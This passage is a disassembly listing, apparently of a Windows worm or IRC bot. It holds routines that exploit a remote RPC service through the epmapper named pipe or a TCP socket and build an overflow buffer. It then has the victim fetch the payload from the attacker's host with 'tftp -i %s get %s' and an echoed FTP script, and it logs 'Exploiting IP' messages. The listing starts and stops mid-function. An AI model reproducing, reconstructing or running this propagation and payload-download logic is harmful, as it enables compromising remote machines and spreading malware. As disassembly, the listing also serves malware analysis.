		cmp	[esp+8+arg_4], dl
		jz	short loc_40D963
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D958
		cmp	eax, edi
		jnb	short loc_40D970


loc_40D958:				; CODE XREF: sub_40D8F2+60j
		push	1
		mov	ecx, esi
		call	sub_40D977
		jmp	short loc_40D968
; ---------------------------------------------------------------------------


loc_40D963:				; CODE XREF: sub_40D8F2+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D970


loc_40D968:				; CODE XREF: sub_40D8F2+28j
					; sub_40D8F2+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40DA4F


loc_40D970:				; CODE XREF: sub_40D8F2+64j
					; sub_40D8F2+74j
		mov	al, 1


loc_40D972:				; CODE XREF: sub_40D8F2+39j
		pop	edi
		pop	esi
		retn	8
sub_40D8F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D977	proc near		; CODE XREF: sub_40D340+1Fp
					; sub_40D340+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D9A3
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D9A3
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D99C
		cmp	al, 0FFh
		jz	short loc_40D99C
		dec	al
		mov	[ecx], al
		jmp	short loc_40D9A3
; ---------------------------------------------------------------------------


loc_40D99C:				; CODE XREF: sub_40D977+19j
					; sub_40D977+1Dj
		push	ecx
		call	sub_41D65F
		pop	ecx


loc_40D9A3:				; CODE XREF: sub_40D977+8j
					; sub_40D977+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D977	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9B3	proc near		; CODE XREF: ___:0040D6D3p
					; sub_40DB0C+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D9E1
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41CD20
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D9E1:				; CODE XREF: sub_40D9B3+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D9B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9E8	proc near		; CODE XREF: sub_40D824+39p
					; sub_40D824+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D9FB
		call	sub_426173


loc_40D9FB:				; CODE XREF: sub_40D9E8+Cj
		mov	ecx, edi
		call	sub_40DB0C
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40DA11
		mov	ebx, eax


loc_40DA11:				; CODE XREF: sub_40D9E8+25j
		test	ebx, ebx
		jbe	short loc_40DA47
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41D670
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40DA47
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40DA47:				; CODE XREF: sub_40D9E8+2Bj
					; sub_40D9E8+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D9E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DA4F	proc near		; CODE XREF: sub_40D8F2+79p
		mov	eax, offset loc_426AD0
		call	sub_41D640
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40DA75
		mov	edi, [ebp+8]


loc_40DA75:				; CODE XREF: sub_40DA4F+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40DA82
		xor	eax, eax


loc_40DA82:				; CODE XREF: sub_40DA4F+2Fj
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40DAB3
; ---------------------------------------------------------------------------


loc_40DA8E:				; DATA XREF: ___:00427F84o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40DA9D
		xor	eax, eax


loc_40DA9D:				; CODE XREF: sub_40DA4F+4Aj
		push	eax
		call	sub_41D9A5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40DAAD
		retn
; ---------------------------------------------------------------------------


loc_40DAAD:				; DATA XREF: sub_40DA4F+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40DAB3:				; CODE XREF: sub_40DA4F+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40DAD1
		cmp	eax, edi
		jbe	short loc_40DAC0
		mov	eax, edi


loc_40DAC0:				; CODE XREF: sub_40DA4F+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41CD20
		add	esp, 0Ch


loc_40DAD1:				; CODE XREF: sub_40DA4F+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D977
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40DAF1
		mov	edi, ebx


loc_40DAF1:				; CODE XREF: sub_40DA4F+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40DA4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB0C	proc near		; CODE XREF: sub_40D9E8+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40DB39
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40DB39
		cmp	al, 0FFh
		jz	short loc_40DB39
		push	1
		call	sub_40D977
		push	esi
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D9B3


loc_40DB39:				; CODE XREF: sub_40DB0C+9j
					; sub_40DB0C+10j ...
		pop	edi
		pop	esi
		retn
sub_40DB0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB3C	proc near		; DATA XREF: ___:00429008o
		test	byte_4DC018, 1
		jnz	short loc_40DB4C
		or	byte_4DC018, 1


loc_40DB4C:				; CODE XREF: sub_40DB3C+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41DA20
		pop	ecx
		retn
sub_40DB3C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DB5E	proc near		; CODE XREF: ___:0040DF74p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_432948
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset off_432940
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_43DB88
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		nop
		call	near ptr 2710000h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_4CE6F4
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_4CBA74
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_40DC22
		cmp	eax, ebx
		jnz	short loc_40DC2C


loc_40DC22:				; CODE XREF: sub_40DB5E+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_4CBA74


loc_40DC2C:				; CODE XREF: sub_40DB5E+C2j
		cmp	eax, 5
		jz	short loc_40DC3A
		cmp	eax, ebx
		jz	short loc_40DC3A
		push	1
		pop	eax
		jmp	short loc_40DC3C
; ---------------------------------------------------------------------------


loc_40DC3A:				; CODE XREF: sub_40DB5E+D1j
					; sub_40DB5E+D5j
		xor	eax, eax


loc_40DC3C:				; CODE XREF: sub_40DB5E+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DB5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC41	proc near		; CODE XREF: ___:0040DFC6p
					; ___:0040E0A6p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_432948
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset off_432940
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_43DB88
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		call	near ptr 2710000h
		nop
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		add	esp, 10h


loc_40DCD2:				; CODE XREF: sub_40DC41+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_4CB90C
		test	eax, eax
		jz	short loc_40DCF2
		push	7D0h
		call	near ptr 26A0428h
		nop
		jmp	short loc_40DCD2
; ---------------------------------------------------------------------------


loc_40DCF2:				; CODE XREF: sub_40DC41+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_40DC41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCF9	proc near		; CODE XREF: ___:0040DFF5p
					; ___:0040E133p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_41C500
		push	esi
		push	edi
		push	offset byte_429108
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_40B22B
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_40DF48
		push	ebx
		mov	ebx, offset off_43285C
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_41CD20
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		lea	esi, [edi+0D7h]


loc_40DD7E:				; CODE XREF: sub_40DCF9+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_40DDCE
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41CD20
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_40DD7E
; ---------------------------------------------------------------------------


loc_40DDCE:				; CODE XREF: sub_40DCF9+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_40DDE9
		cmp	[ebp+arg_C0], 3
		jz	short loc_40DDF2
		cmp	[ebp+arg_C0], 0
		jmp	short loc_40DDF0
; ---------------------------------------------------------------------------


loc_40DDE9:				; CODE XREF: sub_40DCF9+DCj
		cmp	[ebp+arg_C0], 3


loc_40DDF0:				; CODE XREF: sub_40DCF9+EEj
		jnz	short loc_40DDFB


loc_40DDF2:				; CODE XREF: sub_40DCF9+E5j
		push	4
		push	offset dword_43293C
		jmp	short loc_40DE02
; ---------------------------------------------------------------------------


loc_40DDFB:				; CODE XREF: sub_40DCF9:loc_40DDF0j
		push	4
		push	offset dword_432938


loc_40DE02:				; CODE XREF: sub_40DCF9+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_432470
		push	eax
		call	sub_41CD20
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_4327D4
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_41CD20
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_4327E8
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_41CD20
		add	edi, 3Ch
		push	30h
		push	offset dword_432828
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_41CD20
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_41BEB5
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_41BF70
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_41CD20
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_40DF48:				; CODE XREF: sub_40DCF9+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40DCF9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_41C500
		cmp	dword ptr [ebp+0A8h], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_40E0BA
		lea	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DB5E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E1CA
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-338h]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp-338h]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		nop
		call	near ptr 2740000h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DFD1


loc_40DFC2:				; CODE XREF: ___:0040E072j
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DC41
		pop	ecx
		jmp	loc_40E1CA
; ---------------------------------------------------------------------------


loc_40DFD1:				; CODE XREF: ___:0040DFC0j
		lea	eax, [ebp+0Ch]
		push	2
		push	eax
		call	sub_4182CD
		pop	ecx
		lea	esi, [ebp+8]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DCF9
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp-8], eax
		jz	short loc_40E069
		mov	edi, 186A0h
		push	edi
		call	sub_41BEB5
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_41BF70
		add	esp, 10h
		lea	eax, [ebp-0Ch]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_432424
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2730825h
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_40E059
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		push	dword ptr [ebp-10h]
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		call	near ptr 2730000h
		nop
		test	eax, eax
		jnz	short loc_40E077


loc_40E059:				; CODE XREF: ___:0040E03Fj
		push	esi
		call	sub_41BA91
		push	dword ptr [ebp-8]
		call	sub_41BA91
		pop	ecx
		pop	ecx


loc_40E069:				; CODE XREF: ___:0040E005j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2680000h
		jmp	loc_40DFC2
; ---------------------------------------------------------------------------


loc_40E077:				; CODE XREF: ___:0040E057j
		lea	eax, [ebp-0Ch]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2720000h
		push	dword ptr [ebp-8]
		mov	edi, eax
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2680000h
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DC41
		cmp	edi, 1
		pop	ecx
		jnz	loc_40E1DE
		jmp	loc_40E1CA
; ---------------------------------------------------------------------------


loc_40E0BA:				; CODE XREF: ___:0040DF66j
		lea	eax, [ebp+0Ch]
		push	1
		push	eax
		call	sub_4182CD
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_40E1CA
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_4CBA54
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_40E1CA
		push	10h
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-24h], 2
		push	dword ptr [ebp+0A8h]
		call	dword_4CB9D4
		mov	[ebp-22h], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA14
		mov	[ebp-20h], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	esi
		push	eax
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DCF9
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40E14C
		push	dword ptr [ebp-4]
		jmp	short loc_40E1C4
; ---------------------------------------------------------------------------


loc_40E14C:				; CODE XREF: ___:0040E145j
		mov	edi, [ebp-4]
		lea	eax, [ebp-24h]
		push	10h
		push	eax
		push	edi
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E164


loc_40E161:				; CODE XREF: ___:0040E176j
		push	esi
		jmp	short loc_40E1BD
; ---------------------------------------------------------------------------


loc_40E164:				; CODE XREF: ___:0040E15Fj
		push	ebx
		push	48h
		push	offset dword_432424
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E161
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-8]
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E1A5
		push	dword ptr [ebp-8]
		jmp	short loc_40E1BD
; ---------------------------------------------------------------------------


loc_40E1A5:				; CODE XREF: ___:0040E19Ej
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	dword ptr [ebp-8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E1D1


loc_40E1BD:				; CODE XREF: ___:0040E162j
					; ___:0040E1A3j
		call	sub_41BA91
		pop	ecx
		push	edi


loc_40E1C4:				; CODE XREF: ___:0040E14Aj
		call	dword_4CBA6C


loc_40E1CA:				; CODE XREF: ___:0040DF7Dj
					; ___:0040DFCCj ...
		xor	eax, eax
		jmp	loc_40E28D
; ---------------------------------------------------------------------------


loc_40E1D1:				; CODE XREF: ___:0040E1BBj
		call	sub_41BA91
		pop	ecx
		push	edi
		call	dword_4CBA6C


loc_40E1DE:				; CODE XREF: ___:0040E0AFj
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-234h]
		push	offset aTftpFileTransf ; "[TFTP]: File transfer	complete to IP:	%"...
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	esi, esi


loc_40E1F8:				; CODE XREF: ___:0040E218j
		lea	eax, [ebp-234h]
		push	eax
		call	sub_415E19
		test	eax, eax
		pop	ecx
		jnz	short loc_40E21C
		push	1388h
		nop
		call	near ptr 26A0428h
		inc	esi
		cmp	esi, 6
		jl	short loc_40E1F8
		jmp	short loc_40E28A
; ---------------------------------------------------------------------------


loc_40E21C:				; CODE XREF: ___:0040E207j
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		lea	eax, [ebp-234h]
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+0BCh], ebx
		jnz	short loc_40E268
		push	ebx
		lea	eax, [ebp-234h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		add	esp, 14h


loc_40E268:				; CODE XREF: ___:0040E249j
		lea	eax, [ebp-234h]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		pop	ecx
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40E28A:				; CODE XREF: ___:0040E21Aj
		push	1
		pop	eax


loc_40E28D:				; CODE XREF: ___:0040E1CCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E292	proc near		; CODE XREF: sub_40E3F1+42Ap

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4CBA14
		mov	[ebp+var_C], eax
		mov	ax, word_433290
		push	eax
		call	dword_4CB9D4
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E3CA
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E3CA
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4CB9EC
		mov	edi, offset byte_429108
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		mov	esi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 18h
		push	dword_4CB710
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E3CA
		push	1F4h
		call	near ptr 26A0428h
		nop
		push	edi
		push	offset dword_42A2E8
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E3CE


loc_40E3CA:				; CODE XREF: sub_40E292+51j
					; sub_40E292+67j ...
		xor	al, al
		jmp	short loc_40E3EC
; ---------------------------------------------------------------------------


loc_40E3CE:				; CODE XREF: sub_40E292+136j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4CB9EC
		push	ebx
		call	dword_4CBA6C
		mov	al, 1


loc_40E3EC:				; CODE XREF: sub_40E292+13Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E292	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E3F1	proc near		; CODE XREF: ___:0040E946p
					; ___:0040E968p

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
